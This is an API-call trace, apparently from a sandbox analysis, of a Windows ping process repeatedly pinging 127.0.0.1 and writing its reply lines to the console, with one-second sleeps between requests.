[0099.106] CharToOemBuffA (in: lpszSrc="\r\nPinging 127.0.0.1 ", lpszDst=0x29ef28, cchDstLength=0x14 | out: lpszDst="\r\nPinging 127.0.0.1 ") returned 1 [0099.107] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80035af3d0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880041bf000 [0099.107] IdePortDispatch () returned 0x103 [0099.109] _write (in: _FileHandle=1, _Buf=0x29ef28*, _MaxCharCount=0x14 | out: _Buf=0x29ef28*) returned 20 [0099.110] _setmode (_FileHandle=1, _Mode=16384) returned 32768 [0099.110] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80035af3d0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880041d3000 [0099.110] IdePortDispatch () returned 0x103 [0099.110] LocalFree (hMem=0x29ef28) returned 0x0 [0099.110] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x275a, dwLanguageId=0x0, lpBuffer=0x10f310, nSize=0x0, Arguments=0x10f30c | out: lpBuffer="øå*") returned 0x18 [0099.110] CharToOemBuffA (in: lpszSrc="with 32 bytes of data:\r\n", lpszDst=0x2ae5f8, cchDstLength=0x18 | out: lpszDst="with 32 bytes of data:\r\n") returned 1 [0099.110] _setmode (_FileHandle=1, _Mode=32768) returned 16384 [0099.110] _write (in: _FileHandle=1, _Buf=0x2ae5f8*, _MaxCharCount=0x18 | out: _Buf=0x2ae5f8*) returned 24 [0099.111] _setmode (_FileHandle=1, _Mode=16384) returned 32768 [0099.111] LocalFree (hMem=0x2ae5f8) returned 0x0 [0099.111] SetConsoleCtrlHandler (HandlerRoutine=0x9417ca, Add=1) returned 1 [0099.111] IcmpSendEcho2Ex (in: IcmpHandle=0x29c160, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, SourceAddress=0x0, DestinationAddress=0x100007f, RequestData=0x2ae468, RequestSize=0x20, RequestOptions=0x10f338, ReplyBuffer=0x2b0308, ReplySize=0x1ff8, Timeout=0xfa0 | out: ReplyBuffer=0x2b0308) returned 0x1 [0099.295] inet_ntoa (in=0x100007f) returned="127.0.0.1" [0099.295] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x2723, dwLanguageId=0x0, lpBuffer=0x10f310, nSize=0x0, Arguments=0x10f30c | out: lpBuffer="(ï)") returned 0x16 [0099.295] CharToOemBuffA (in: lpszSrc="Reply from 127.0.0.1: ", lpszDst=0x29ef28, cchDstLength=0x16 | out: lpszDst="Reply from 127.0.0.1: ") returned 1 [0099.295] _setmode (_FileHandle=1, _Mode=32768) returned 16384 [0099.295] _write (in: _FileHandle=1, _Buf=0x29ef28*, _MaxCharCount=0x16 | out: _Buf=0x29ef28*) returned 22 [0099.295] _setmode (_FileHandle=1, _Mode=16384) returned 32768 [0099.295] LocalFree (hMem=0x29ef28) returned 0x0 [0099.295] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x273c, dwLanguageId=0x0, lpBuffer=0x10f310, nSize=0x0, Arguments=0x10f30c | out: lpBuffer="Ø\x92*") returned 0x9 [0099.295] CharToOemBuffA (in: lpszSrc="bytes=32 ", lpszDst=0x2a92d8, cchDstLength=0x9 | out: lpszDst="bytes=32 ") returned 1 [0099.295] _setmode (_FileHandle=1, _Mode=32768) returned 16384 [0099.295] _write (in: _FileHandle=1, _Buf=0x2a92d8*, _MaxCharCount=0x9 | out: _Buf=0x2a92d8*) returned 9 [0099.296] _setmode (_FileHandle=1, _Mode=16384) returned 32768 [0099.296] LocalFree (hMem=0x2a92d8) returned 0x0 [0099.296] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x2727, dwLanguageId=0x0, lpBuffer=0x10f314, nSize=0x0, Arguments=0x10f310 | out: lpBuffer="Ø\x92*") returned 0x9 [0099.296] CharToOemBuffA (in: lpszSrc="time<1ms ", lpszDst=0x2a92d8, cchDstLength=0x9 | out: lpszDst="time<1ms ") returned 1 [0099.296] _setmode (_FileHandle=1, _Mode=32768) returned 16384 [0099.296] _write (in: _FileHandle=1, _Buf=0x2a92d8*, _MaxCharCount=0x9 | out: _Buf=0x2a92d8*) returned 9 [0099.296] _setmode (_FileHandle=1, _Mode=16384) returned 32768 [0099.296] LocalFree (hMem=0x2a92d8) returned 0x0 [0099.296] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x2728, dwLanguageId=0x0, lpBuffer=0x10f310, nSize=0x0, Arguments=0x10f30c | out: lpBuffer="Ø\x92*") returned 0x9 [0099.296] CharToOemBuffA (in: lpszSrc="TTL=128\r\n", lpszDst=0x2a92d8, cchDstLength=0x9 | out: lpszDst="TTL=128\r\n") returned 1 [0099.296] _setmode (_FileHandle=1, _Mode=32768) returned 16384 [0099.296] _write (in: _FileHandle=1, _Buf=0x2a92d8*, _MaxCharCount=0x9 | out: _Buf=0x2a92d8*) returned 9 [0099.296] _setmode (_FileHandle=1, _Mode=16384) returned 32768 [0099.296] LocalFree (hMem=0x2a92d8) returned 0x0 [0099.296] Sleep (dwMilliseconds=0x3e8) [0100.340] IcmpSendEcho2Ex (in: IcmpHandle=0x29c160, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, SourceAddress=0x0, DestinationAddress=0x100007f, RequestData=0x2ae468, RequestSize=0x20, RequestOptions=0x10f338, ReplyBuffer=0x2b0308, ReplySize=0x1ff8, Timeout=0xfa0 | out: ReplyBuffer=0x2b0308) returned 0x1 [0100.368] inet_ntoa (in=0x100007f) returned="127.0.0.1" [0100.368] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x2723, dwLanguageId=0x0, lpBuffer=0x10f310, nSize=0x0, Arguments=0x10f30c | out: lpBuffer="(ï)") returned 0x16 [0100.368] CharToOemBuffA (in: lpszSrc="Reply from 127.0.0.1: ", lpszDst=0x29ef28, cchDstLength=0x16 | out: lpszDst="Reply from 127.0.0.1: ") returned 1 [0100.368] _setmode (_FileHandle=1, _Mode=32768) returned 16384 [0100.368] _write (in: _FileHandle=1, _Buf=0x29ef28*, _MaxCharCount=0x16 | out: _Buf=0x29ef28*) returned 22 [0100.368] _setmode (_FileHandle=1, _Mode=16384) returned 32768 [0100.368] LocalFree (hMem=0x29ef28) returned 0x0 [0100.368] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x273c, dwLanguageId=0x0, lpBuffer=0x10f310, nSize=0x0, Arguments=0x10f30c | out: lpBuffer="Ø\x92*") returned 0x9 [0100.368] CharToOemBuffA (in: lpszSrc="bytes=32 ", lpszDst=0x2a92d8, cchDstLength=0x9 | out: lpszDst="bytes=32 ") returned 1 [0100.368] _setmode (_FileHandle=1, _Mode=32768) returned 16384 [0100.368] _write (in: _FileHandle=1, _Buf=0x2a92d8*, _MaxCharCount=0x9 | out: _Buf=0x2a92d8*) returned 9 [0100.368] _setmode (_FileHandle=1, _Mode=16384) returned 32768 [0100.369] LocalFree (hMem=0x2a92d8) returned 0x0 [0100.369] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x2727, dwLanguageId=0x0, lpBuffer=0x10f314, nSize=0x0, Arguments=0x10f310 | out: lpBuffer="Ø\x92*") returned 0x9 [0100.369] CharToOemBuffA (in: lpszSrc="time<1ms ", lpszDst=0x2a92d8, cchDstLength=0x9 | out: lpszDst="time<1ms ") returned 1 [0100.369] _setmode (_FileHandle=1, _Mode=32768) returned 16384 [0100.369] _write (in: _FileHandle=1, _Buf=0x2a92d8*, _MaxCharCount=0x9 | out: _Buf=0x2a92d8*) returned 9 [0100.369] _setmode (_FileHandle=1, _Mode=16384) returned 32768 [0100.369] LocalFree (hMem=0x2a92d8) returned 0x0 [0100.369] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x2728, dwLanguageId=0x0, lpBuffer=0x10f310, nSize=0x0, Arguments=0x10f30c | out: lpBuffer="Ø\x92*") returned 0x9 [0100.369] CharToOemBuffA (in: lpszSrc="TTL=128\r\n", lpszDst=0x2a92d8, cchDstLength=0x9 | out: lpszDst="TTL=128\r\n") returned 1 [0100.369] _setmode (_FileHandle=1, _Mode=32768) returned 16384 [0100.369] _write (in: _FileHandle=1, _Buf=0x2a92d8*, _MaxCharCount=0x9 | out: _Buf=0x2a92d8*) returned 9 [0100.369] _setmode (_FileHandle=1, _Mode=16384) returned 32768 [0100.369] LocalFree (hMem=0x2a92d8) returned 0x0 [0100.369] Sleep (dwMilliseconds=0x3e8) [0101.385] IcmpSendEcho2Ex (in: IcmpHandle=0x29c160, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, SourceAddress=0x0, DestinationAddress=0x100007f, RequestData=0x2ae468, RequestSize=0x20, RequestOptions=0x10f338, ReplyBuffer=0x2b0308, ReplySize=0x1ff8, Timeout=0xfa0 | out: ReplyBuffer=0x2b0308) returned 0x1 [0101.687] inet_ntoa (in=0x100007f) returned="127.0.0.1" [0101.687] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x2723, dwLanguageId=0x0, lpBuffer=0x10f310, nSize=0x0, Arguments=0x10f30c | out: lpBuffer="(ï)") returned 0x16 [0101.687] CharToOemBuffA (in: lpszSrc="Reply from 127.0.0.1: ", lpszDst=0x29ef28, cchDstLength=0x16 | out: lpszDst="Reply from 127.0.0.1: ") returned 1 [0101.687] _setmode (_FileHandle=1, _Mode=32768) returned 16384 [0101.687] _write (in: _FileHandle=1, _Buf=0x29ef28*, _MaxCharCount=0x16 | out: _Buf=0x29ef28*) returned 22 [0101.687] _setmode (_FileHandle=1, _Mode=16384) returned 32768 [0101.687] LocalFree (hMem=0x29ef28) returned 0x0 [0101.687] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x273c, dwLanguageId=0x0, lpBuffer=0x10f310, nSize=0x0, Arguments=0x10f30c | out: lpBuffer="Ø\x92*") returned 0x9 [0101.687] CharToOemBuffA (in: lpszSrc="bytes=32 ", lpszDst=0x2a92d8, cchDstLength=0x9 | out: lpszDst="bytes=32 ") returned 1 [0101.687] _setmode (_FileHandle=1, _Mode=32768) returned 16384 [0101.687] _write (in: _FileHandle=1, _Buf=0x2a92d8*, _MaxCharCount=0x9 | out: _Buf=0x2a92d8*) returned 9 [0101.687] _setmode (_FileHandle=1, _Mode=16384) returned 32768 [0101.687] LocalFree (hMem=0x2a92d8) returned 0x0 [0101.688] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x2727, dwLanguageId=0x0, lpBuffer=0x10f314, nSize=0x0, Arguments=0x10f310 | out: lpBuffer="Ø\x92*") returned 0x9 [0101.688] CharToOemBuffA (in: lpszSrc="time<1ms ", lpszDst=0x2a92d8, cchDstLength=0x9 | out: lpszDst="time<1ms ") returned 1 [0101.688] _setmode (_FileHandle=1, _Mode=32768) returned 16384 [0101.688] _write (in: _FileHandle=1, _Buf=0x2a92d8*, _MaxCharCount=0x9 | out: _Buf=0x2a92d8*) returned 9 [0101.688] _setmode (_FileHandle=1, _Mode=16384) returned 32768 [0101.688] LocalFree (hMem=0x2a92d8) returned 0x0 [0101.688] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x2728, dwLanguageId=0x0, lpBuffer=0x10f310, nSize=0x0, Arguments=0x10f30c | out: lpBuffer="Ø\x92*") returned 0x9 [0101.688] CharToOemBuffA (in: lpszSrc="TTL=128\r\n", lpszDst=0x2a92d8, cchDstLength=0x9 | out: lpszDst="TTL=128\r\n") returned 1 [0101.688] _setmode (_FileHandle=1, _Mode=32768) returned 16384 [0101.688] _write (in: _FileHandle=1, _Buf=0x2a92d8*, _MaxCharCount=0x9 | out: _Buf=0x2a92d8*) returned 9 [0101.688] _setmode (_FileHandle=1, _Mode=16384) returned 32768 [0101.688] LocalFree (hMem=0x2a92d8) returned 0x0 [0101.688] Sleep (dwMilliseconds=0x3e8) [0102.856] IcmpSendEcho2Ex (in: IcmpHandle=0x29c160, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, SourceAddress=0x0, DestinationAddress=0x100007f, RequestData=0x2ae468, RequestSize=0x20, RequestOptions=0x10f338, ReplyBuffer=0x2b0308, ReplySize=0x1ff8, Timeout=0xfa0 | out: ReplyBuffer=0x2b0308) returned 0x1 [0102.896] inet_ntoa (in=0x100007f) returned="127.0.0.1" [0102.896] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x2723, dwLanguageId=0x0, lpBuffer=0x10f310, nSize=0x0, Arguments=0x10f30c | out: lpBuffer="(ï)") returned 0x16 [0102.896] CharToOemBuffA (in: lpszSrc="Reply from 127.0.0.1: ", lpszDst=0x29ef28, cchDstLength=0x16 | out: lpszDst="Reply from 127.0.0.1: ") returned 1 [0102.896] _setmode (_FileHandle=1, _Mode=32768) returned 16384 [0102.896] _write (in: _FileHandle=1, _Buf=0x29ef28*, _MaxCharCount=0x16 | out: _Buf=0x29ef28*) returned 22 [0102.897] _setmode (_FileHandle=1, _Mode=16384) returned 32768 [0102.897] LocalFree (hMem=0x29ef28) returned 0x0 [0102.897] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x273c, dwLanguageId=0x0, lpBuffer=0x10f310, nSize=0x0, Arguments=0x10f30c | out: lpBuffer="Ø\x92*") returned 0x9 [0102.897] CharToOemBuffA (in: lpszSrc="bytes=32 ", lpszDst=0x2a92d8, cchDstLength=0x9 | out: lpszDst="bytes=32 ") returned 1 [0102.897] _setmode (_FileHandle=1, _Mode=32768) returned 16384 [0102.897] _write (in: _FileHandle=1, _Buf=0x2a92d8*, _MaxCharCount=0x9 | out: _Buf=0x2a92d8*) returned 9 [0102.897] _setmode (_FileHandle=1, _Mode=16384) returned 32768 [0102.897] LocalFree (hMem=0x2a92d8) returned 0x0 [0102.897] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x2727, dwLanguageId=0x0, lpBuffer=0x10f314, nSize=0x0, Arguments=0x10f310 | out: lpBuffer="Ø\x92*") returned 0x9 [0102.897] CharToOemBuffA (in: lpszSrc="time<1ms ", lpszDst=0x2a92d8, cchDstLength=0x9 | out: lpszDst="time<1ms ") returned 1 [0102.897] _setmode (_FileHandle=1, _Mode=32768) returned 16384 [0102.897] _write (in: _FileHandle=1, _Buf=0x2a92d8*, _MaxCharCount=0x9 | out: _Buf=0x2a92d8*) returned 9 [0102.897] _setmode (_FileHandle=1, _Mode=16384) returned 32768 [0102.897] LocalFree (hMem=0x2a92d8) returned 0x0 [0102.897] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x2728, dwLanguageId=0x0, lpBuffer=0x10f310, nSize=0x0, Arguments=0x10f30c | out: lpBuffer="Ø\x92*") returned 0x9 [0102.897] CharToOemBuffA (in: lpszSrc="TTL=128\r\n", lpszDst=0x2a92d8, cchDstLength=0x9 | out: lpszDst="TTL=128\r\n") returned 1 [0102.897] _setmode (_FileHandle=1, _Mode=32768) returned 16384 [0102.898] _write (in: _FileHandle=1, _Buf=0x2a92d8*, _MaxCharCount=0x9 | out: _Buf=0x2a92d8*) returned 9 [0102.898] _setmode (_FileHandle=1, _Mode=16384) returned 32768 [0102.898] LocalFree (hMem=0x2a92d8) returned 0x0 [0102.898] Sleep (dwMilliseconds=0x3e8) [0104.036] IcmpSendEcho2Ex (in: IcmpHandle=0x29c160, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, SourceAddress=0x0, DestinationAddress=0x100007f, RequestData=0x2ae468, RequestSize=0x20, RequestOptions=0x10f338, ReplyBuffer=0x2b0308, ReplySize=0x1ff8, Timeout=0xfa0 | out: ReplyBuffer=0x2b0308) returned 0x1 [0104.038] inet_ntoa (in=0x100007f) returned="127.0.0.1" [0104.038] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x2723, dwLanguageId=0x0, lpBuffer=0x10f310, nSize=0x0, Arguments=0x10f30c | out: lpBuffer="(ï)") returned 0x16 [0104.038] CharToOemBuffA (in: lpszSrc="Reply from 127.0.0.1: ", lpszDst=0x29ef28, cchDstLength=0x16 | out: lpszDst="Reply from 127.0.0.1: ") returned 1 [0104.038] _setmode (_FileHandle=1, _Mode=32768) returned 16384 [0104.038] _write (in: _FileHandle=1, _Buf=0x29ef28*, _MaxCharCount=0x16 | out: _Buf=0x29ef28*) returned 22 [0104.038] _setmode (_FileHandle=1, _Mode=16384) returned 32768 [0104.038] LocalFree (hMem=0x29ef28) returned 0x0 [0104.038] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x273c, dwLanguageId=0x0, lpBuffer=0x10f310, nSize=0x0, Arguments=0x10f30c | out: lpBuffer="Ø\x92*") returned 0x9 [0104.038] CharToOemBuffA (in: lpszSrc="bytes=32 ", lpszDst=0x2a92d8, cchDstLength=0x9 | out: lpszDst="bytes=32 ") returned 1 [0104.038] _setmode (_FileHandle=1, _Mode=32768) returned 16384 [0104.038] _write (in: _FileHandle=1, _Buf=0x2a92d8*, _MaxCharCount=0x9 | out: _Buf=0x2a92d8*) returned 9 [0104.039] _setmode (_FileHandle=1, _Mode=16384) returned 32768 [0104.039] LocalFree (hMem=0x2a92d8) returned 0x0 [0104.039] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x2727, dwLanguageId=0x0, lpBuffer=0x10f314, nSize=0x0, Arguments=0x10f310 | out: lpBuffer="Ø\x92*") returned 0x9 [0104.039] CharToOemBuffA (in: lpszSrc="time<1ms ", lpszDst=0x2a92d8, cchDstLength=0x9 | out: lpszDst="time<1ms ") returned 1 [0104.039] _setmode (_FileHandle=1, _Mode=32768) returned 16384 [0104.039] _write (in: _FileHandle=1, _Buf=0x2a92d8*, _MaxCharCount=0x9 | out: _Buf=0x2a92d8*) returned 9 [0104.039] _setmode (_FileHandle=1, _Mode=16384) returned 32768 [0104.039] LocalFree (hMem=0x2a92d8) returned 0x0 [0104.039] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x2728, dwLanguageId=0x0, lpBuffer=0x10f310, nSize=0x0, Arguments=0x10f30c | out: lpBuffer="Ø\x92*") returned 0x9 [0104.039] CharToOemBuffA (in: lpszSrc="TTL=128\r\n", lpszDst=0x2a92d8, cchDstLength=0x9 | out: lpszDst="TTL=128\r\n") returned 1 [0104.039] _setmode (_FileHandle=1, _Mode=32768) returned 16384 [0104.039] _write (in: _FileHandle=1, _Buf=0x2a92d8*, _MaxCharCount=0x9 | out: _Buf=0x2a92d8*) returned 9 [0104.039] _setmode (_FileHandle=1, _Mode=16384) returned 32768 [0104.039] LocalFree (hMem=0x2a92d8) returned 0x0 [0104.039] Sleep (dwMilliseconds=0x3e8) [0105.229] IcmpSendEcho2Ex (in: IcmpHandle=0x29c160, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, SourceAddress=0x0, DestinationAddress=0x100007f, RequestData=0x2ae468, RequestSize=0x20, RequestOptions=0x10f338, ReplyBuffer=0x2b0308, ReplySize=0x1ff8, Timeout=0xfa0 | out: ReplyBuffer=0x2b0308) returned 0x1 [0105.298] inet_ntoa (in=0x100007f) returned="127.0.0.1" [0105.298] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x2723, dwLanguageId=0x0, lpBuffer=0x10f310, nSize=0x0, Arguments=0x10f30c | out: lpBuffer="(ï)") returned 0x16 [0105.298] CharToOemBuffA (in: lpszSrc="Reply from 127.0.0.1: ", lpszDst=0x29ef28, cchDstLength=0x16 | out: lpszDst="Reply from 127.0.0.1: ") returned 1 [0105.298] _setmode (_FileHandle=1, _Mode=32768) returned 16384 [0105.298] _write (in: _FileHandle=1, _Buf=0x29ef28*, _MaxCharCount=0x16 | out: _Buf=0x29ef28*) returned 22 [0105.298] _setmode (_FileHandle=1, _Mode=16384) returned 32768 [0105.298] LocalFree (hMem=0x29ef28) returned 0x0 [0105.298] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x273c, dwLanguageId=0x0, lpBuffer=0x10f310, nSize=0x0, Arguments=0x10f30c | out: lpBuffer="Ø\x92*") returned 0x9 [0105.298] CharToOemBuffA (in: lpszSrc="bytes=32 ", lpszDst=0x2a92d8, cchDstLength=0x9 | out: lpszDst="bytes=32 ") returned 1 [0105.298] _setmode (_FileHandle=1, _Mode=32768) returned 16384 [0105.298] _write (in: _FileHandle=1, _Buf=0x2a92d8*, _MaxCharCount=0x9 | out: _Buf=0x2a92d8*) returned 9 [0105.298] _setmode (_FileHandle=1, _Mode=16384) returned 32768 [0105.298] LocalFree (hMem=0x2a92d8) returned 0x0 [0105.298] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x2727, dwLanguageId=0x0, lpBuffer=0x10f314, nSize=0x0, Arguments=0x10f310 | out: lpBuffer="Ø\x92*") returned 0x9 [0105.298] CharToOemBuffA (in: lpszSrc="time<1ms ", lpszDst=0x2a92d8, cchDstLength=0x9 | out: lpszDst="time<1ms ") returned 1 [0105.298] _setmode (_FileHandle=1, _Mode=32768) returned 16384 [0105.298] _write (in: _FileHandle=1, _Buf=0x2a92d8*, _MaxCharCount=0x9 | out: _Buf=0x2a92d8*) returned 9 [0105.299] _setmode (_FileHandle=1, _Mode=16384) returned 32768 [0105.299] LocalFree (hMem=0x2a92d8) returned 0x0 [0105.299] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x2728, dwLanguageId=0x0, lpBuffer=0x10f310, nSize=0x0, Arguments=0x10f30c | out: lpBuffer="Ø\x92*") returned 0x9 [0105.299] CharToOemBuffA (in: lpszSrc="TTL=128\r\n", lpszDst=0x2a92d8, cchDstLength=0x9 | out: lpszDst="TTL=128\r\n") returned 1 [0105.299] _setmode (_FileHandle=1, _Mode=32768) returned 16384 [0105.299] _write (in: _FileHandle=1, _Buf=0x2a92d8*, _MaxCharCount=0x9 | out: _Buf=0x2a92d8*) returned 9 [0105.299] _setmode (_FileHandle=1, _Mode=16384) returned 32768 [0105.299] LocalFree (hMem=0x2a92d8) returned 0x0 [0105.299] Sleep (dwMilliseconds=0x3e8) [0106.657] IcmpSendEcho2Ex (in: IcmpHandle=0x29c160, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, SourceAddress=0x0, DestinationAddress=0x100007f, RequestData=0x2ae468, RequestSize=0x20, RequestOptions=0x10f338, ReplyBuffer=0x2b0308, ReplySize=0x1ff8, Timeout=0xfa0 | out: ReplyBuffer=0x2b0308) returned 0x1 [0106.980] inet_ntoa (in=0x100007f) returned="127.0.0.1" [0106.980] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x2723, dwLanguageId=0x0, lpBuffer=0x10f310, nSize=0x0, Arguments=0x10f30c | out: lpBuffer="(ï)") returned 0x16 [0106.980] CharToOemBuffA (in: lpszSrc="Reply from 127.0.0.1: ", lpszDst=0x29ef28, cchDstLength=0x16 | out: lpszDst="Reply from 127.0.0.1: ") returned 1 [0106.980] _setmode (_FileHandle=1, _Mode=32768) returned 16384 [0106.980] _write (in: _FileHandle=1, _Buf=0x29ef28*, _MaxCharCount=0x16 | out: _Buf=0x29ef28*) returned 22 [0106.981] _setmode (_FileHandle=1, _Mode=16384) returned 32768 [0106.981] LocalFree (hMem=0x29ef28) returned 0x0 [0106.981] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x273c, dwLanguageId=0x0, lpBuffer=0x10f310, nSize=0x0, Arguments=0x10f30c | out: lpBuffer="Ø\x92*") returned 0x9 [0106.981] CharToOemBuffA (in: lpszSrc="bytes=32 ", lpszDst=0x2a92d8, cchDstLength=0x9 | out: lpszDst="bytes=32 ") returned 1 [0106.981] _setmode (_FileHandle=1, _Mode=32768) returned 16384 [0106.981] _write (in: _FileHandle=1, _Buf=0x2a92d8*, _MaxCharCount=0x9 | out: _Buf=0x2a92d8*) returned 9 [0106.981] _setmode (_FileHandle=1, _Mode=16384) returned 32768 [0106.981] LocalFree (hMem=0x2a92d8) returned 0x0 [0106.981] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x2727, dwLanguageId=0x0, lpBuffer=0x10f314, nSize=0x0, Arguments=0x10f310 | out: lpBuffer="Ø\x92*") returned 0x9 [0106.981] CharToOemBuffA (in: lpszSrc="time<1ms ", lpszDst=0x2a92d8, cchDstLength=0x9 | out: lpszDst="time<1ms ") returned 1 [0106.981] _setmode (_FileHandle=1, _Mode=32768) returned 16384 [0106.981] _write (in: _FileHandle=1, _Buf=0x2a92d8*, _MaxCharCount=0x9 | out: _Buf=0x2a92d8*) returned 9 [0106.982] _setmode (_FileHandle=1, _Mode=16384) returned 32768 [0106.982] LocalFree (hMem=0x2a92d8) returned 0x0 [0106.982] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x2728, dwLanguageId=0x0, lpBuffer=0x10f310, nSize=0x0, Arguments=0x10f30c | out: lpBuffer="Ø\x92*") returned 0x9 [0106.982] CharToOemBuffA (in: lpszSrc="TTL=128\r\n", lpszDst=0x2a92d8, cchDstLength=0x9 | out: lpszDst="TTL=128\r\n") returned 1 [0106.982] _setmode (_FileHandle=1, _Mode=32768) returned 16384 [0106.982] _write (in: _FileHandle=1, _Buf=0x2a92d8*, _MaxCharCount=0x9 | out: _Buf=0x2a92d8*) returned 9 [0106.982] _setmode (_FileHandle=1, _Mode=16384) returned 32768 [0106.982] LocalFree (hMem=0x2a92d8) returned 0x0 [0106.982] Sleep (dwMilliseconds=0x3e8) [0108.179] IcmpSendEcho2Ex (in: IcmpHandle=0x29c160, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, SourceAddress=0x0, DestinationAddress=0x100007f, RequestData=0x2ae468, RequestSize=0x20, RequestOptions=0x10f338, ReplyBuffer=0x2b0308, ReplySize=0x1ff8, Timeout=0xfa0 | out: ReplyBuffer=0x2b0308) returned 0x1 [0108.257] inet_ntoa (in=0x100007f) returned="127.0.0.1" [0108.257] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x2723, dwLanguageId=0x0, lpBuffer=0x10f310, nSize=0x0, Arguments=0x10f30c | out: lpBuffer="(ï)") returned 0x16 [0108.257] CharToOemBuffA (in: lpszSrc="Reply from 127.0.0.1: ", lpszDst=0x29ef28, cchDstLength=0x16 | out: lpszDst="Reply from 127.0.0.1: ") returned 1 [0108.257] _setmode (_FileHandle=1, _Mode=32768) returned 16384 [0108.257] _write (in: _FileHandle=1, _Buf=0x29ef28*, _MaxCharCount=0x16 | out: _Buf=0x29ef28*) returned 22 [0108.257] _setmode (_FileHandle=1, _Mode=16384) returned 32768 [0108.257] LocalFree (hMem=0x29ef28) returned 0x0 [0108.257] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x273c, dwLanguageId=0x0, lpBuffer=0x10f310, nSize=0x0, Arguments=0x10f30c | out: lpBuffer="Ø\x92*") returned 0x9 [0108.257] CharToOemBuffA (in: lpszSrc="bytes=32 ", lpszDst=0x2a92d8, cchDstLength=0x9 | out: lpszDst="bytes=32 ") returned 1 [0108.257] _setmode (_FileHandle=1, _Mode=32768) returned 16384 [0108.257] _write (in: _FileHandle=1, _Buf=0x2a92d8*, _MaxCharCount=0x9 | out: _Buf=0x2a92d8*) returned 9 [0108.258] _setmode (_FileHandle=1, _Mode=16384) returned 32768 [0108.258] LocalFree (hMem=0x2a92d8) returned 0x0 [0108.258] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x2727, dwLanguageId=0x0, lpBuffer=0x10f314, nSize=0x0, Arguments=0x10f310 | out: lpBuffer="Ø\x92*") returned 0x9 [0108.258] CharToOemBuffA (in: lpszSrc="time<1ms ", lpszDst=0x2a92d8, cchDstLength=0x9 | out: lpszDst="time<1ms ") returned 1 [0108.258] _setmode (_FileHandle=1, _Mode=32768) returned 16384 [0108.258] _write (in: _FileHandle=1, _Buf=0x2a92d8*, _MaxCharCount=0x9 | out: _Buf=0x2a92d8*) returned 9 [0108.258] _setmode (_FileHandle=1, _Mode=16384) returned 32768 [0108.258] LocalFree (hMem=0x2a92d8) returned 0x0 [0108.258] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x2728, dwLanguageId=0x0, lpBuffer=0x10f310, nSize=0x0, Arguments=0x10f30c | out: lpBuffer="Ø\x92*") returned 0x9 [0108.258] CharToOemBuffA (in: lpszSrc="TTL=128\r\n", lpszDst=0x2a92d8, cchDstLength=0x9 | out: lpszDst="TTL=128\r\n") returned 1 [0108.258] _setmode (_FileHandle=1, _Mode=32768) returned 16384 [0108.258] _write (in: _FileHandle=1, _Buf=0x2a92d8*, _MaxCharCount=0x9 | out: _Buf=0x2a92d8*) returned 9 [0108.258] _setmode (_FileHandle=1, _Mode=16384) returned 32768 [0108.259] LocalFree (hMem=0x2a92d8) returned 0x0 [0108.259] Sleep (dwMilliseconds=0x3e8) [0109.271] IcmpSendEcho2Ex (in: IcmpHandle=0x29c160, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, SourceAddress=0x0, DestinationAddress=0x100007f, RequestData=0x2ae468, RequestSize=0x20, RequestOptions=0x10f338, ReplyBuffer=0x2b0308, ReplySize=0x1ff8, Timeout=0xfa0 | out: ReplyBuffer=0x2b0308) returned 0x1 [0109.331] inet_ntoa (in=0x100007f) returned="127.0.0.1" [0109.331] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x2723, dwLanguageId=0x0, lpBuffer=0x10f310, nSize=0x0, Arguments=0x10f30c | out: lpBuffer="(ï)") returned 0x16 